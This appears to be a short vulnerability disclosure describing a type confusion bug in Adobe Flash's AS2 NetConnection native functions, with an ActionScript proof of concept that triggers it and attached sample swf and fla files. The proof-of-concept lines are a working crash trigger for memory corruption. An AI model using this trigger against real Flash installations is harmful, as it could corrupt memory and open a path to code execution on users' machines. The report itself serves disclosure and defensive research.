When a NetConnection AS2 native function is called, the this object is verified to either have a type of NetConnection, or to be an untyped object that has a __proto__ descendant with type NetConnection. The this object's user data is then cast to type NetConnection. The userdata is not verified to be NULL if the object is not of type NetConnection. This means that type confusion can occur if the __proto__ of an untyped object with a non-null userdata (such as a native function object) is set to and object of type NetConnection.

var b = ASnative(2100, 0x77777777);
var n = new NetConnection()
b.__proto__ = n;
var f = ASnative(2100, 0); //NetConnection.connect
f.call(b, 1);

A sample swf and .fla file are attached. To trigger the issue, press the purple button.

 

NC3.swf 748 bytes Download

NC.fla 5.4 KB Download